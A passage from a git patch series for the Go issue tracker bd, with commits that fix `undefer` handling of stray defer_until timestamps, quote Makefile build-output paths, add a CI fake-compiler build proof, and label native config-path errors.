TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone \ - TestManagedLocalProxiedPurgeWispsPlaneRetention + TestManagedLocalProxiedPurgeWispsPlaneRetention \ + TestManagedLocalProxiedCapabilityMatrix \ + TestManagedLocalProxiedBackupRoundTrip do if ! grep -qx "$test_name" <<<"$listed"; then echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index 6c70f17ff..4e104b1a5 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -17,12 +17,12 @@ import ( // #6575 proxied data-behind guidance is written against: the consent command // that guidance prescribes is NOT refused at the proxied front door. // -// The refusal table keys on the full command path. It has rows for the bare -// `migrate` verb and for `migrate hooks` / `migrate issues` / `migrate sync`, -// but none for `migrate schema` — so that path falls through -// validateProxyMaintenanceBeforeProvider's multi-word arm to `bd migrate -// schema`'s own proxied arm, which reports the migration the provider open -// already applied under this verb's consent. +// The capability registry keys on the full command path. It refuses the bare +// `migrate` verb and `migrate hooks` / `migrate issues` / `migrate sync`, but +// permits `migrate schema` — so that path passes +// validateProxyRegistryBeforeProvider to `bd migrate schema`'s own proxied +// arm, which reports the migration the provider open already applied under +// this verb's consent. // // An earlier revision of that guidance asserted the opposite on three runtime // surfaces and nothing failed, because no test called this function with this @@ -51,7 +51,7 @@ func TestProxyMaintenanceAllowsTheSharedConsentVerb(t *testing.T) { var allowErr error out := captureStdout(t, func() error { - allowErr = validateProxyMaintenanceBeforeProvider(target) + allowErr = validateProxyRegistryBeforeProvider(target, ProxyTopologyManagedLocal) return nil }) if allowErr != nil { @@ -70,7 +70,7 @@ func TestProxyMaintenanceAllowsTheSharedConsentVerb(t *testing.T) { } var bareErr error refusal := captureStdout(t, func() error { - bareErr = validateProxyMaintenanceBeforeProvider(bare) + bareErr = validateProxyRegistryBeforeProvider(bare, ProxyTopologyManagedLocal) return nil }) if bareErr == nil { diff --git a/cmd/bd/topology_capability_matrix_test.go b/cmd/bd/topology_capability_matrix_test.go index 3e00ceb20..5d79a2bd0 100644 --- a/cmd/bd/topology_capability_matrix_test.go +++ b/cmd/bd/topology_capability_matrix_test.go @@ -274,10 +274,16 @@ var capabilityProbes = []probe{ direct: expectation{ outcome: outcomeHonored, substr: `"configured"`, reason: reasonNA, }, + // Refused by design where bd does not own the server (#6584): the + // backup remote is registered on the server, global to every client. proxied: expectation{ outcome: outcomeRefusedTyped, code: "proxy.backup.unsupported", substr: "backup status is not supported in proxied-server mode", - reason: reasonUnimplemented, + reason: reasonDesign, + }, + // Honored on managed-local, where bd spawned the Dolt child (#6584). + override: map[string]expectation{ + topoProxiedLocal: {outcome: outcomeHonored, substr: `"configured"`, reason: reasonNA}, }, }, { @@ -289,7 +295,13 @@ var capabilityProbes = []probe{ proxied: expectation{ outcome: outcomeRefusedTyped, code: "proxy.backup.unsupported", substr: "backup sync is not supported in proxied-server mode", - reason: reasonUnimplemented, + reason: reasonDesign, + }, + // Honored on managed-local (#6584): it reaches the command, which + // fails on its own merits with no destination configured — the same + // answer every direct topology gives. + override: map[string]expectation{ + topoProxiedLocal: {outcome: outcomeError, substr: "no backup destination configured", reason: reasonNA}, }, }, @@ -464,7 +476,7 @@ var deliberatelyNotProbed = map[string]string{ "restore": "`bd restore` restores an ISSUE, not a backup; the backup verb is `bd backup restore`, which is already " + "covered by the backup rows. Probing it adds a row that says nothing about the backup family.", "backup restore": "would need a real backup destination to distinguish a topology refusal from a missing-backup error. " + - "Covered indirectly by `backup status` / `backup sync`; revisit in slice S3 when the family gains a proxied route.", + "Covered indirectly by `backup status` / `backup sync`, and directly by TestManagedLocalProxiedBackupRoundTrip since slice S3 (#6584).", } // --------------------------------------------------------------------------- From fc2351a51c6e289743e7aa38ec0af37246cb5800 Mon Sep 17 00:00:00 2001 From: Athos Bernardes <79493098+athosmartins@users.noreply.github.com> Date: Mon, 28 Sep 2026 15:18:25 -0300 Subject: [PATCH 185/624] fix(defer): undefer clears a stray defer_until when status isn't deferred (ga-bq3w5) (#6390) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(defer): undefer clears a stray defer_until when status isn't deferred (ga-bq3w5) `bd undefer` gated entirely on issue.Status == StatusDeferred. But the ready-work query hides any issue whose defer_until is in the future regardless of status, so `bd update --status open --defer ` (an explicit --status wins over --defer's own status=deferred default) leaves status=open with a live defer_until: permanently invisible to `bd ready`, with no command able to clear it. `bd undefer` refused with a technically-true, practically-misleading "is not deferred (status: open)" and never touched the timestamp actually doing the hiding. Gate on defer_until instead of status alone: only flip status to open when the issue really was deferred (mirrors the guard GH#3233 already gave `bd update --defer=""`), but always clear a stray defer_until so the issue can return to `bd ready`. Adds a regression test reproducing the exact shape (status=open + future defer_until via a single `bd update --status open --defer ...` call). Confirmed it fails against the pre-fix code and passes with the fix. Co-Authored-By: Claude Sonnet 5 * fix(defer): mirror the undefer defer_until fix to the proxied-server route (ga-bq3w5) PR review (bee-ghosttrack, round 1): the previous fix only patched the embedded backend (undefer.go). runUndeferProxiedServer, used by proxied-server/beads-team-server installs, still gated solely on status == deferred and still overwrote status unconditionally — the exact bug survives on that route, and CI treats it as first-class (15 green Proxied Dolt Cmd shards). Mirror the same gate/write shape into defer_proxied_server.go: only refuse when status isn't deferred AND there's no defer_until to clear; only flip status to open when the issue really was deferred. Also closes the reviewer's MINOR finding: the existing "open" fixture can't distinguish the conditional status write from an unconditional one (writing status=open to an already-open issue is a no-op). Adds an in_progress case to both the embedded and the new proxied test — confirmed by mutation that it fails against the unconditional-write code and passes with the fix. Shortens the undefer.go rationale comment and documents the clear-without-clobbering behavior in the command's Long description, per the reviewer's non-blocking nits. Verified: go build/vet clean; gofmt clean; golangci-lint (native) 0 issues; BEADS_TEST_EMBEDDED_DOLT=1 go test -run TestEmbeddedUndefer all 5 subtests PASS. The new proxied-server subtest could not be executed in this sandbox (no Docker available for the shared Dolt container), but go vet confirms it compiles and type-checks, and it mirrors the embedded test byte-for-byte in structure. The windows cross-lint step in `make ci-pr-lint` fails in this sandbox on files untouched by this diff (confirmed byte-identical to origin/main) — a pre-existing local environment gap, not a regression. Co-Authored-By: Claude Sonnet 5 --------- Co-authored-by: Claude Sonnet 5 --- cmd/bd/defer_proxied_integration_test.go | 31 ++++++++++ cmd/bd/defer_proxied_server.go | 26 +++++++-- cmd/bd/undefer.go | 23 +++++++- cmd/bd/undefer_embedded_test.go | 73 ++++++++++++++++++++++++ 4 files changed, 146 insertions(+), 7 deletions(-) diff --git a/cmd/bd/defer_proxied_integration_test.go b/cmd/bd/defer_proxied_integration_test.go index 44b5b1b79..bbcaf8f92 100644 --- a/cmd/bd/defer_proxied_integration_test.go +++ b/cmd/bd/defer_proxied_integration_test.go @@ -92,6 +92,37 @@ func TestProxiedServerDeferUndefer(t *testing.T) { } }) + t.Run("undefer_clears_stray_defer_until_when_status_not_deferred", func(t *testing.T) { + // Mirrors TestEmbeddedUndefer's ga-bq3w5 coverage on the proxied-server + // route (runUndeferProxiedServer): a status that is neither "open" nor + // "deferred" makes the conditional status write observable — writing + // status=open here would be a real change, not a no-op. + j := bdProxiedCreate(t, bd, p.dir, "Stray future defer on in_progress issue", "--type", "task") + if out, err := bdProxiedRun(t, bd, p.dir, "update", j.ID, "--status", "in_progress", "--defer", "2099-01-01"); err != nil { + t.Fatalf("update --status in_progress --defer: %v\n%s", err, out) + } + status, deferUntil := showStatus(t, j.ID) + if status != string(types.StatusInProgress) || deferUntil == nil { + t.Fatalf("precondition: expected status=in_progress with defer_until set, got status=%q defer_until=%v", status, deferUntil) + } + + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "undefer", j.ID) + if err != nil { + t.Fatalf("undefer: %v\nstdout=%s\nstderr=%s", err, stdout, stderr) + } + if strings.Contains(stdout+stderr, "is not deferred") { + t.Errorf("undefer refused instead of clearing the stray defer_until: stdout=%s stderr=%s", stdout, stderr) + } + + status, deferUntil = showStatus(t, j.ID) + if status != string(types.StatusInProgress) { + t.Errorf("expected status to stay in_progress (not clobbered to open), got %q", status) + } + if deferUntil != nil { + t.Errorf("expected defer_until cleared after undefer, got %v", deferUntil) + } + }) + t.Run("defer_is_idempotent", func(t *testing.T) { d := bdProxiedCreate(t, bd, p.dir, "Idempotent defer", "--type", "task") if out, err := bdProxiedRun(t, bd, p.dir, "defer", d.ID); err != nil { diff --git a/cmd/bd/defer_proxied_server.go b/cmd/bd/defer_proxied_server.go index c6bc9ba0f..280df6ace 100644 --- a/cmd/bd/defer_proxied_server.go +++ b/cmd/bd/defer_proxied_server.go @@ -17,6 +17,12 @@ import ( type deferProxiedResult struct { issues []*types.Issue errs []string + + // wasDeferred tracks, in lockstep with issues, whether each undeferred + // issue was actually status=deferred (status flips to open) versus just + // carrying a stray defer_until on some other status (status untouched, + // only the timestamp cleared — ga-bq3w5). Unused by runDeferProxiedServer. + wasDeferred []bool } func proxiedUpdateByID(ctx context.Context, uw uow.UnitOfWork, id string, isWisp bool, updates map[string]any) error { @@ -125,21 +131,29 @@ func runUndeferProxiedServer(ctx context.Context, args []string) error { continue } fullID := issue.ID - if issue.Status != types.StatusDeferred { + + // Gate on defer_until, not status alone (ga-bq3w5) — mirrors the + // embedded-backend fix in undefer.go. See that file's comment for + // the full rationale. + wasDeferred := issue.Status == types.StatusDeferred + if !wasDeferred && issue.DeferUntil == nil { r.errs = append(r.errs, fmt.Sprintf("%s is not deferred (status: %s)", fullID, string(issue.Status))) continue } updates := map[string]interface{}{ - "status": string(types.StatusOpen), "defer_until": nil, } + if wasDeferred { + updates["status"] = string(types.StatusOpen) + } if uerr := proxiedUpdateByID(ctx, uw, fullID, isWisp, updates); uerr != nil { r.errs = append(r.errs, fmt.Sprintf("Error undeferring %s: %v", fullID, uerr)) continue } if updated := proxiedGetByID(ctx, uw, fullID, isWisp); updated != nil { r.issues = append(r.issues, updated) + r.wasDeferred = append(r.wasDeferred, wasDeferred) } } if len(r.issues) == 0 { @@ -162,8 +176,12 @@ func runUndeferProxiedServer(ctx context.Context, args []string) error { } } } else { - for _, iss := range res.issues { - fmt.Printf("%s Undeferred %s (now open)\n", ui.RenderPass("*"), iss.ID) + for i, iss := range res.issues { + if i < len(res.wasDeferred) && res.wasDeferred[i] { + fmt.Printf("%s Undeferred %s (now open)\n", ui.RenderPass("*"), iss.ID) + } else { + fmt.Printf("%s Cleared stale defer_until on %s (status unchanged: %s)\n", ui.RenderPass("*"), iss.ID, string(iss.Status)) + } } } diff --git a/cmd/bd/undefer.go b/cmd/bd/undefer.go index f2f0e0c81..08e251c6a 100644 --- a/cmd/bd/undefer.go +++ b/cmd/bd/undefer.go @@ -19,6 +19,10 @@ var undeferCmd = &cobra.Command{ This brings issues back from the icebox so they can be worked on again. Issues will appear in 'bd ready' if they have no blockers. +If an issue carries a defer_until timestamp but its status isn't +"deferred" (e.g. after an explicit --status change), undefer clears +the stray timestamp without touching status. + Examples: bd undefer bd-abc # Undefer a single issue bd undefer bd-abc bd-def # Undefer multiple issues`, @@ -64,15 +68,26 @@ Examples: fmt.Fprintf(os.Stderr, "Error getting %s: %v\n", fullID, err) continue } - if issue.Status != types.StatusDeferred { + + // Gate on defer_until, not status alone (ga-bq3w5): bd ready hides + // any issue with a future defer_until regardless of status, so + // `bd update --status open --defer ` leaves a status=open + // issue permanently invisible with no status-based signal anywhere. + // Mirrors GH#3233's `bd update --defer=""` gate (update.go): only + // flip status to open when it was actually "deferred" — other + // statuses shouldn't be clobbered just to clear a stray timestamp. + wasDeferred := issue.Status == types.StatusDeferred + if !wasDeferred && issue.DeferUntil == nil { fmt.Fprintf(os.Stderr, "%s is not deferred (status: %s)\n", fullID, string(issue.Status)) continue } updates := map[string]interface{}{ - "status": string(types.StatusOpen), "defer_until": nil, } + if wasDeferred { + updates["status"] = string(types.StatusOpen) + } if err := store.UpdateIssue(ctx, fullID, updates, actor); err != nil { fmt.Fprintf(os.Stderr, "Error undeferring %s: %v\n", fullID, err) @@ -84,8 +99,10 @@ Examples: if issue != nil { undeferredIssues = append(undeferredIssues, issue) } - } else { + } else if wasDeferred { fmt.Printf("%s Undeferred %s (now open)\n", ui.RenderPass("*"), fullID) + } else { + fmt.Printf("%s Cleared stale defer_until on %s (status unchanged: %s)\n", ui.RenderPass("*"), fullID, string(issue.Status)) } } diff --git a/cmd/bd/undefer_embedded_test.go b/cmd/bd/undefer_embedded_test.go index 425e23213..088044a95 100644 --- a/cmd/bd/undefer_embedded_test.go +++ b/cmd/bd/undefer_embedded_test.go @@ -69,6 +69,79 @@ func TestEmbeddedUndefer(t *testing.T) { t.Errorf("expected 'not deferred' message: %s", out) } }) + + // ===== Stray defer_until on a non-deferred status (ga-bq3w5) ===== + + t.Run("undefer_clears_stray_defer_until_when_status_not_deferred", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Stray future defer on open issue", "--type", "task") + // Reproduces ga-bq3w5: an explicit --status wins over --defer's own + // status=deferred default (update.go), so this single command leaves + // status=open with a live future defer_until — exactly the shape that + // silently starves an issue out of `bd ready` with no status-based + // signal anywhere. + cmd := exec.Command(bd, "update", issue.ID, "--status", "open", "--defer", "2099-01-01") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd update --status open --defer failed: %v\n%s", err, out) + } + status, deferUntil := showDeferState(t, bd, dir, issue.ID) + if status != "open" || deferUntil == nil { + t.Fatalf("precondition: expected status=open with defer_until set, got status=%q defer_until=%v", status, deferUntil) + } + if ids := wakeReadyIDs(t, bd, dir); ids[issue.ID] { + t.Fatalf("precondition: issue should be hidden from bd ready by its future defer_until") + } + + out := bdUndefer(t, bd, dir, issue.ID) + if strings.Contains(out, "is not deferred") { + t.Errorf("undefer refused instead of clearing the stray defer_until: %s", out) + } + + status, deferUntil = showDeferState(t, bd, dir, issue.ID) + if status != "open" { + t.Errorf("expected status to stay open, got %q", status) + } + if deferUntil != nil { + t.Errorf("expected defer_until cleared after undefer, got %v", deferUntil) + } + if ids := wakeReadyIDs(t, bd, dir); !ids[issue.ID] { + t.Errorf("expected issue back in bd ready after undefer cleared its defer_until") + } + }) + + // ===== Stray defer_until on a non-open status must not be clobbered ===== + + t.Run("undefer_clears_stray_defer_until_without_clobbering_in_progress", func(t *testing.T) { + // The "open" case above can't distinguish the conditional status + // write (only flip to open when wasDeferred) from an unconditional + // one: writing status=open to an already-open issue is a no-op. + // in_progress makes the distinction observable. + issue := bdCreate(t, bd, dir, "Stray future defer on in_progress issue", "--type", "task") + cmd := exec.Command(bd, "update", issue.ID, "--status", "in_progress", "--defer", "2099-01-01") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd update --status in_progress --defer failed: %v\n%s", err, out) + } + status, deferUntil := showDeferState(t, bd, dir, issue.ID) + if status != "in_progress" || deferUntil == nil { + t.Fatalf("precondition: expected status=in_progress with defer_until set, got status=%q defer_until=%v", status, deferUntil) + } + + out := bdUndefer(t, bd, dir, issue.ID) + if strings.Contains(out, "is not deferred") { + t.Errorf("undefer refused instead of clearing the stray defer_until: %s", out) + } + + status, deferUntil = showDeferState(t, bd, dir, issue.ID) + if status != "in_progress" { + t.Errorf("expected status to stay in_progress (not clobbered to open), got %q", status) + } + if deferUntil != nil { + t.Errorf("expected defer_until cleared after undefer, got %v", deferUntil) + } + }) } // TestEmbeddedUndeferConcurrent exercises undefer operations concurrently. From 8c889c1f23417d07c163c9aef4d8086bc266f32a Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Mon, 28 Sep 2026 12:59:18 -0600 Subject: [PATCH 186/624] fix(make): use built candidate path in smoke targets (#6363) * fix(make): quote build output paths (#5620) Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * test(make): scope fake Go PATH to the native build proof Restore the prior PATH in finally so later install scenarios do not inherit the fake compiler. Check that the YAML-extracted here-string begins with its shebang at byte zero; YAML's common block indentation is already removed. Refs gastownhall/beads#5667 Agent: unknown-model/unknown-reasoning * test(make): confine fake compiler environment to the build proof (saa-cgh.80) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(make): use built candidate path in smoke targets (saa-cgh.97) Reported by bee-ghosttrack in gastownhall/beads#6340. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(make): use shared build output for install (saa-cgh.97) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell --------- Co-authored-by: Bee --- .github/workflows/pr.yml | 53 ++++++++++++++++++++++++++++++++++++++-- Makefile | 27 ++++++++++---------- 2 files changed, 65 insertions(+), 15 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 43b573118..664ca303b 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1216,14 +1216,63 @@ jobs: $proofRoot = Join-Path $env:RUNNER_TEMP ("make install proof " + [guid]::NewGuid().ToString('N')) $fixtureRepo = Join-Path $proofRoot 'fixture repo' $buildDir = Join-Path $fixtureRepo 'build output' + $fakeGoDir = Join-Path $proofRoot 'fake go bin' $installRoot = Join-Path $proofRoot 'install sandbox' $installProfile = Join-Path $installRoot 'profile with spaces' - New-Item -ItemType Directory -Force -Path $buildDir, $installProfile | Out-Null + New-Item -ItemType Directory -Force -Path $buildDir, $fakeGoDir, $installProfile | Out-Null Copy-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'Makefile') -Destination $fixtureRepo Copy-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'go.mod') -Destination $fixtureRepo $sentinel = Join-Path $buildDir 'bd.exe' - Set-Content -LiteralPath $sentinel -Encoding ascii -NoNewline -Value 'native-install-sentinel' + $fakeGo = Join-Path $fakeGoDir 'go' + $fakeGoScript = @' + #!/usr/bin/env bash + set -euo pipefail + + [[ "${1-}" == build ]] || exit 91 + shift + output= + while (($#)); do + case "$1" in + -o) + [[ $# -ge 2 ]] || exit 92 + output=$2 + shift 2 + ;; + *) shift ;; + esac + done + [[ "$(cygpath -aw "$output")" == "$(cygpath -aw "$BEADS_FAKE_GO_EXPECTED_OUTPUT")" ]] || { + printf 'fake go received output %q, expected %q\n' "$output" "$BEADS_FAKE_GO_EXPECTED_OUTPUT" >&2 + exit 93 + } + printf native-build-sentinel > "$(cygpath -u "$output")" + '@ + if (-not $fakeGoScript.StartsWith('#!', [StringComparison]::Ordinal)) { + throw 'Fake Go shebang must start at byte zero after YAML extraction' + } + [IO.File]::WriteAllText( + $fakeGo, + ($fakeGoScript -replace "`r`n", "`n"), + [Text.UTF8Encoding]::new($false) + ) + $priorPath = $env:PATH + Push-Location $fixtureRepo + try { + $env:BEADS_FAKE_GO_EXPECTED_OUTPUT = $sentinel + $env:PATH = "$fakeGoDir;$priorPath" + & $make --no-print-directory "BUILD_DIR=$buildDir" GIT_BUILD=build-proof CC=proof build + if ($LASTEXITCODE -ne 0) { + throw 'Native Make build failed for a spaced BUILD_DIR' + } + } finally { + $env:PATH = $priorPath + Remove-Item -LiteralPath Env:BEADS_FAKE_GO_EXPECTED_OUTPUT + Pop-Location + } + if (-not (Test-Path -LiteralPath $sentinel -PathType Leaf)) { + throw "Native Make did not build bd.exe at the exact spaced destination '$sentinel'" + } $sentinelHash = (Get-FileHash -LiteralPath $sentinel -Algorithm SHA256).Hash & $git -C $fixtureRepo init --quiet diff --git a/Makefile b/Makefile index 5a2fa6149..ac0d9f0dd 100644 --- a/Makefile +++ b/Makefile @@ -52,6 +52,7 @@ endif all: build BUILD_DIR := . +BD_BUILD_OUTPUT := $(BUILD_DIR)/bd$(if $(filter Windows_NT,$(OS)),.exe) GIT_BUILD := $(shell git rev-parse --short HEAD) ifeq ($(OS),Windows_NT) INSTALL_DIR := $(USERPROFILE)/.local/bin @@ -104,21 +105,21 @@ build: ifeq ($(OS),Windows_NT) @if [ -n "$$CC" ]; then \ echo "Using CC=$$CC"; \ - go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd.exe ./cmd/bd; \ + go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd; \ elif command -v gcc >/dev/null 2>&1; then \ - CC=gcc go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd.exe ./cmd/bd; \ + CC=gcc go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd; \ elif command -v clang >/dev/null 2>&1 && clang -dumpmachine 2>/dev/null | grep -qi 'windows.*gnu'; then \ - CC=clang go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd.exe ./cmd/bd; \ + CC=clang go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd; \ else \ for bin in $(WINDOWS_CGO_BINS); do \ if [ -x "$$bin/gcc.exe" ]; then \ echo "Using Windows CGO gcc from $$bin"; \ - PATH="$$bin:$$PATH" CC=gcc go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd.exe ./cmd/bd; \ + PATH="$$bin:$$PATH" CC=gcc go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd; \ exit $$?; \ fi; \ if [ -x "$$bin/clang.exe" ] && "$$bin/clang.exe" -dumpmachine 2>/dev/null | grep -qi 'windows.*gnu'; then \ echo "Using Windows CGO clang from $$bin"; \ - PATH="$$bin:$$PATH" CC=clang go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd.exe ./cmd/bd; \ + PATH="$$bin:$$PATH" CC=clang go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd; \ exit $$?; \ fi; \ done; \ @@ -128,9 +129,9 @@ ifeq ($(OS),Windows_NT) exit 1; \ fi else - go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd ./cmd/bd + go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd ifeq ($(shell uname),Darwin) - @codesign -s - -f $(BUILD_DIR)/bd 2>/dev/null || true + @codesign -s - -f "$(BD_BUILD_OUTPUT)" 2>/dev/null || true @echo "Signed bd for macOS" endif endif @@ -264,7 +265,7 @@ test-regression: # Override version: ./scripts/upgrade-smoke-test.sh v0.62.0 test-upgrade: build @echo "Running upgrade smoke tests..." - @CANDIDATE_BIN=./bd ./scripts/upgrade-smoke-test.sh + @CANDIDATE_BIN="$(BD_BUILD_OUTPUT)" ./scripts/upgrade-smoke-test.sh # Run cross-version smoke tests (last 30 tags → candidate). @@ -273,14 +274,14 @@ test-upgrade: build # All from v0.30.0: ./scripts/cross-version-smoke-test.sh --from v0.30.0 test-cross-version: build @echo "Running cross-version smoke tests..." - @CANDIDATE_BIN=./bd ./scripts/cross-version-smoke-test.sh + @CANDIDATE_BIN="$(BD_BUILD_OUTPUT)" ./scripts/cross-version-smoke-test.sh # Run the authenticated historical upgrade corpus with strict fidelity checks. # All qualified versions: ./scripts/migration-test/run.sh # Single version: ./scripts/migration-test/run.sh --version v0.49.6 test-migration: build @echo "Running migration test harness..." - @CANDIDATE_BIN=./bd ./scripts/migration-test/run.sh + @CANDIDATE_BIN="$(BD_BUILD_OUTPUT)" ./scripts/migration-test/run.sh # Regenerate the golden-JSON contract corpus (cmd/bd/protocol/testdata/corpus/). # Run after any deliberate bd --json wire change; review the diff, then commit. @@ -351,10 +352,10 @@ install install-force: build @mkdir -p "$(INSTALL_DIR)" ifeq ($(OS),Windows_NT) @rm -f "$(INSTALL_DIR)/bd" "$(INSTALL_DIR)/bd.exe" - @cp "$(BUILD_DIR)/bd.exe" "$(INSTALL_DIR)/bd.exe" + @cp "$(BD_BUILD_OUTPUT)" "$(INSTALL_DIR)/bd.exe" @echo "Installed bd.exe to $(INSTALL_DIR)/bd.exe" else - @cp "$(BUILD_DIR)/bd" "$(INSTALL_DIR)/.bd.install.tmp.$$$$" && mv -f "$(INSTALL_DIR)/.bd.install.tmp.$$$$" "$(INSTALL_DIR)/bd" + @cp "$(BD_BUILD_OUTPUT)" "$(INSTALL_DIR)/.bd.install.tmp.$$$$" && mv -f "$(INSTALL_DIR)/.bd.install.tmp.$$$$" "$(INSTALL_DIR)/bd" @echo "Installed bd to $(INSTALL_DIR)/bd" @ln -sfn bd "$(INSTALL_DIR)/.beads.install.tmp.$$$$" && mv -f "$(INSTALL_DIR)/.beads.install.tmp.$$$$" "$(INSTALL_DIR)/beads" @echo "Created 'beads' alias -> bd" @@ -376,7 +377,7 @@ fmt-check: # Validate documentation references against actual CLI flags check-docs: @echo "Building bd for docs checks..." - @CGO_ENABLED=0 go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd ./cmd/bd + @CGO_ENABLED=0 go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BUILD_DIR)/bd" ./cmd/bd @./scripts/check-doc-flags.sh ./bd @./scripts/check-doc-freshness.sh @go test -tags=gms_pure_go ./test/docsync From 4dc96f6f214d8e70e02fabe460de225cb728fe1d Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Mon, 28 Sep 2026 13:17:20 -0600 Subject: [PATCH 187/624] fix(config): identify native config environment in path errors (#6325) * fix(config): name the native config environment source in errors Identify APPDATA on Windows, HOME on Darwin/iOS, home on Plan9, and the selected XDG_CONFIG_HOME or HOME source on other Unix hosts. Only error labels change; the standard-library resolver and path precedence remain the same, and the original wrapped error is retained. Fixes #6314 Reported-by: bee-ghosttrack Bead: saa-cgh.95 Agent-Signature: unknown-model/unknown-reasoning * test(config): exercise native source diagnostics on the required platforms Select the diagnostic parent and its two XDG states through one Bash3.2 driver in the existing three-host preflight matrix. Bind the declared OS to Bash and the setup-selected Go host/target, retain child process status, and reject missing, duplicate, unexpected, failed or skipped execution. Preserve existing platform steps, job identity and required gate mapping. Use the existing YAML workflow helpers to pin the new placement. Follow-up: https://github.com/gastownhall/beads/issues/6314 Bead: saa-cgh.95 Agent-Signature: unknown-model/unknown-reasoning * fix(config): keep native diagnostics with candidate builder (saa-cgh.95) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell --- .github/workflows/pr.yml | 13 +++++ internal/config/user_config_path.go | 23 +++++++- internal/config/user_config_path_test.go | 66 +++++++++++++++++++++++ scripts/ci/test-user-config-diagnostic.sh | 48 +++++++++++++++++ scripts/ci_workflow_test.go | 30 +++++++++++ 5 files changed, 179 insertions(+), 1 deletion(-) create mode 100755 scripts/ci/test-user-config-diagnostic.sh diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 664ca303b..359af6745 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -486,6 +486,13 @@ jobs: fail-fast: false matrix: os: [ubuntu-latest, macos-latest, windows-latest] + include: + - os: ubuntu-latest + expected_goos: linux + - os: macos-latest + expected_goos: darwin + - os: windows-latest + expected_goos: windows steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -507,6 +514,12 @@ jobs: shell: bash run: go test '-tags=integration,gms_pure_go' -count=1 -run '^TestPRPreflight' ./scripts + - name: Check native user config diagnostics + shell: bash + env: + CGO_ENABLED: "0" + run: bash scripts/ci/test-user-config-diagnostic.sh '${{ matrix.expected_goos }}' + - name: Exercise test.sh prebuilt binary path shell: bash run: go test '-tags=gms_pure_go' -count=1 -run '^TestTestScriptPrebuiltBinaryContract$' ./scripts diff --git a/internal/config/user_config_path.go b/internal/config/user_config_path.go index b810d89f1..629b2294d 100644 --- a/internal/config/user_config_path.go +++ b/internal/config/user_config_path.go @@ -5,6 +5,7 @@ import ( "fmt" "os" "path/filepath" + "runtime" ) const userConfigYamlDisplayFallback = "~/.config/bd/config.yaml" @@ -27,6 +28,20 @@ func currentUserConfigYamlCandidates() userConfigYamlCandidates { return buildUserConfigYamlCandidates(homeDir, homeErr, nativeConfigDir, nativeErr) } +// nativeUserConfigValidationSource names the source of a relative directory +// returned without a resolver error. On Unix, os.UserConfigDir already rejects +// relative XDG_CONFIG_HOME values itself; only HOME can reach our validation. +func nativeUserConfigValidationSource() string { + switch runtime.GOOS { + case "windows": + return "APPDATA" + case "plan9": + return "home" + default: + return "HOME" + } +} + func buildUserConfigYamlCandidates(homeDir string, homeErr error, nativeConfigDir string, nativeErr error) userConfigYamlCandidates { var candidates userConfigYamlCandidates @@ -37,7 +52,13 @@ func buildUserConfigYamlCandidates(homeDir string, homeErr error, nativeConfigDi candidates.documented = filepath.Clean(filepath.Join(home, ".config", "bd", "config.yaml")) } - if nativeDir, err := cleanAbsoluteUserDirectory("native user config directory", nativeConfigDir, nativeErr); err != nil { + nativeLabel := "native user config directory" + if nativeErr == nil { + nativeLabel += " (" + nativeUserConfigValidationSource() + ")" + } + // Resolver errors already identify their source; retain that diagnostic + // without inferring it from a later read of the process environment. + if nativeDir, err := cleanAbsoluteUserDirectory(nativeLabel, nativeConfigDir, nativeErr); err != 